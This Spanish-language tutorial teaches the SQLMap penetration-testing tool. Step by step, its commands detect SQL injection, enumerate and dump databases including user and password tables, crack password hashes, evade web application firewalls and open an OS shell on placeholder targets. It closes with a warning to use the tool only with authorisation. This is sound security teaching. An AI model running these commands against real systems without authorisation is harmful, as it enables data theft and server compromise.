Intermedio
22 min

SQLMap

Herramienta automática para detectar y explotar SQL injection

¿Qué es SQLMap?

SQLMap es una herramienta de penetration testing open source que automatiza la detección y explotación de vulnerabilidades de SQL injection. Soporta MySQL, PostgreSQL, Oracle, MSSQL, SQLite, y más.

Capacidades

  • ✅ Detecta 6 tipos de SQL injection (Boolean, Error, Union, Time-based, etc.)
  • ✅ Enumera DBs, tablas, columnas, datos
  • ✅ Dump completo de bases de datos
  • ✅ Shell interactivo en servidor (OS shell)
  • ✅ Bypass de WAF (Web Application Firewall)
  • ✅ Soporta HTTP cookies, headers, POST data

Instalación

# Linux (apt)
sudo apt install sqlmap

# macOS
brew install sqlmap

# Kali Linux (pre-instalado)
sqlmap --version

# GitHub
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

Comandos Básicos

1. Detectar SQL Injection

# GET parameter
sqlmap -u "http://target.com/page?id=1"

# POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Con cookies
sqlmap -u "http://target.com/page?id=1"   --cookie="PHPSESSID=abc123; user=admin"

# Headers personalizados
sqlmap -u "http://target.com/api"   -H "Authorization: Bearer token123"

2. Enumerar Databases

# Listar todas las DBs
sqlmap -u "http://target.com/page?id=1" --dbs

# Output:
# [*] information_schema
# [*] mysql
# [*] app_database
# [*] users_db

# Obtener DB actual
sqlmap -u "http://target.com/page?id=1" --current-db

3. Enumerar Tablas

# Listar tablas de una DB
sqlmap -u "http://target.com/page?id=1"   -D users_db --tables

# Output:
# [*] users
# [*] passwords
# [*] sessions
# [*] admin_logs

4. Enumerar Columnas

# Listar columnas de una tabla
sqlmap -u "http://target.com/page?id=1"   -D users_db -T users --columns

# Output:
# [*] id (INT)
# [*] username (VARCHAR)
# [*] password (VARCHAR)
# [*] email (VARCHAR)
# [*] role (VARCHAR)

5. Dump Data

# Dump columnas específicas
sqlmap -u "http://target.com/page?id=1"   -D users_db -T users -C username,password --dump

# Dump tabla completa
sqlmap -u "http://target.com/page?id=1"   -D users_db -T users --dump

# Dump TODA la database
sqlmap -u "http://target.com/page?id=1"   -D users_db --dump-all

Opciones Avanzadas

# Risk level (1-3, más agresivo)
sqlmap -u "http://target.com/page?id=1" --risk=3

# Level (1-5, más payloads)
sqlmap -u "http://target.com/page?id=1" --level=5

# Técnicas específicas
# B: Boolean-based blind
# E: Error-based
# U: Union query
# T: Time-based blind
# Q: Inline queries
sqlmap -u "http://target.com/page?id=1" --technique=BEUT

# Bypass WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# Random User-Agent
sqlmap -u "http://target.com/page?id=1" --random-agent

# Threads (paralelización)
sqlmap -u "http://target.com/page?id=1" --threads=10

# OS Shell (si vulnerable)
sqlmap -u "http://target.com/page?id=1" --os-shell

Ejemplo Práctico

# 1. Detectar vulnerabilidad
sqlmap -u "http://vuln-site.com/product?id=5" --batch

# 2. Listar DBs
sqlmap -u "http://vuln-site.com/product?id=5" --dbs --batch

# 3. Listar tablas de 'shop_db'
sqlmap -u "http://vuln-site.com/product?id=5" -D shop_db --tables --batch

# 4. Dump tabla 'users'
sqlmap -u "http://vuln-site.com/product?id=5"   -D shop_db -T users --dump --batch

# Output guardado en:
# ~/.local/share/sqlmap/output/vuln-site.com/dump/shop_db/users.csv

# 5. Crackear passwords (si hash)
sqlmap -u "http://vuln-site.com/product?id=5"   -D shop_db -T users -C password --dump --batch   --passwords

Burp Suite Integration

Puedes exportar un request de Burp y usarlo directamente en SQLMap:

# 1. En Burp: Right click > Copy to file > request.txt

# 2. Usar con SQLMap
sqlmap -r request.txt --batch

# El archivo request.txt contiene:
GET /page?id=1 HTTP/1.1
Host: target.com
Cookie: session=abc123
User-Agent: Mozilla/5.0

⚠️ Advertencias Legales

  • ❌ NUNCA uses SQLMap contra sitios sin autorización
  • ❌ Uso no autorizado es ILEGAL (Computer Fraud and Abuse Act)
  • ✅ Solo en entornos de testing propios o con permiso explícito
  • ✅ Usar en CTFs, labs, aplicaciones vulnerables intencionalmente

Siguiente

Nikto